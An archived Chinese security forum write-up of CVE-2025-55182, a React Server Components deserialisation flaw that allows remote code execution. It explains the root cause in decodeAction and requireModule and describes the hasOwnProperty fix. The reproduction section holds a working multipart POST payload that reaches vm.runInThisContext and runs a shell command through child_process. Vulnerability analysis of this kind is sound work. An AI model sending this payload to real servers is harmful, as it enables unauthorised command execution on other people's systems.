来源: https://web.archive.org/web/20251205170951/https://forum.butian.net/article/820
React 服务器组件原型链漏洞(CVE-2025-55182)
CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。
漏洞描述
CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。
影响范围
影响组件:react-server-dom-webpack < 19.2.0,react-server-dom-turbopack < 19.2.0,react-server-dom-parcel
影响版本:React 19.0.0、19.1.0、19.1.1、19.2.0
环境搭建
npm install
npm start
漏洞复现
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--
漏洞成因
React Server Actions 通过 $ACTION_REF_* 和 $ACTION_ID_* 两类字段实现服务端函数调用,但在 19.2.0 及之前版本中,因缺少对模块导出属性的合法性校验,攻击者可借助 $ACTION_REF_* 机制注入任意 id(如 "vm#runInThisContext"),结合 Node.js 内置模块实现远程代码执行;19.2.1 通过 hasOwnProperty 检查和强化 Action 引用机制修复此问题。
**$ACTION_REF_*** :绑定(Bound)Action 实例
- 用途:用于调用一个已创建并携带闭包参数的 Server Action(例如通过
action.bind(null, arg1, arg2)生成)。 - 客户端表单行为:
- 提交时会生成多个 multipart 字段,例如:

其中 0 是客户端生成的“action 实例 ID”,:0是 bound 参数
服务端解析逻辑:
const prefix = "$ACTION_" + key.slice(12) + ":";
const boundArgs = collectAllFieldsStartingWith(prefix);
const action = decodeBoundActionMetaData(body, serverManifest, boundArgs);
最终构造出一个对象:
{ id: "someModule#someFunction", bound: [] }
**$ACTION_ID_*** :直接模块/函数调用
- 用途:调用某个模块中显式导出的 Server Action 函数。
- 典型场景:
<form action={updatePassword}>
编译后生成:
$ACTION_ID_UserActions.updatePassword = ""
提取字段名 → 拆分为 moduleName = "UserActions", exportName = "updatePassword"
调用:
loadServerReference(serverManifest, "UserActions", "updatePassword");
最终执行 requireModule("UserActions")["updatePassword"]
漏洞利用
- 攻击者构造 multipart 请求:
$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"vm#runInThisContext","bound":["...恶意代码..."]}
服务端 decodeAction 解析出:
{ id: "vm#runInThisContext", bound: [payload] }
- 调用
loadServerReference("vm", "runInThisContext") requireModule("vm")["runInThisContext"]返回vm.runInThisContext(因无hasOwnProperty检查)- 执行
bound中的代码 → RCE
漏洞分析
看看下载的源码
if (req.method === 'POST' && req.url === '/formaction') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
try {
const buffer = Buffer.concat(chunks);
const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);
console.log('FormData:');
formData.forEach((v, k) => console.log(` ${k}: ${v}`));
// THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule
// requireModule does: moduleExports[metadata[2]] without hasOwnProperty check!
const actionFn = await decodeAction(formData, serverManifest);
console.log('Action result:', actionFn, typeof actionFn);
if (typeof actionFn === 'function') {
const result = actionFn();
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, result: String(result) }));
} else {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, action: String(actionFn) }));
}
} catch (e) {
console.error('Error:', e.message, e.stack);
res.writeHead(500, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: e.message }));
}
});
return;
}
res.writeHead(404);
res.end('Not found');
});
这里处理 /formaction路由 的请求 —— 这是一个 自定义 Server Action 端点,模拟了 RSC 行为
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
const buffer = Buffer.concat(chunks);
完整读取原始 HTTP 请求体
const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);
解析 multipart/form-data,得到一个 Map 类型的 formData
const actionFn = await decodeAction(formData, serverManifest);
- 遍历
formData,寻找以$ACTION_REF_或$ACTION_开头的字段; - 对于
$ACTION_REF_0,它会提取所有$ACTION_0:*字段; - 将
$ACTION_0:0的值(JSON 字符串)解析为对象 - 调用
loadServerReference(serverManifest, "vm", "runInThisContext"); - 最终进入
requireModule(metadata)
调用 requireModule,没有检查"runInThisContext" 是否是 moduleExports 的自有属性,moduleExports["runInThisContext"] 返回真实的 vm.runInThisContext 函数,此时已获得一个可在当前上下文执行任意 JS 的函数
因此
actionFn() 调用时,会执行:
vm.runInThisContext('global.process.mainModule.require("child_process").execSync("dir").toString()')
漏洞修复
代码修复里面添加了hasOwnProperty 检查,只允许访问对象自身的属性

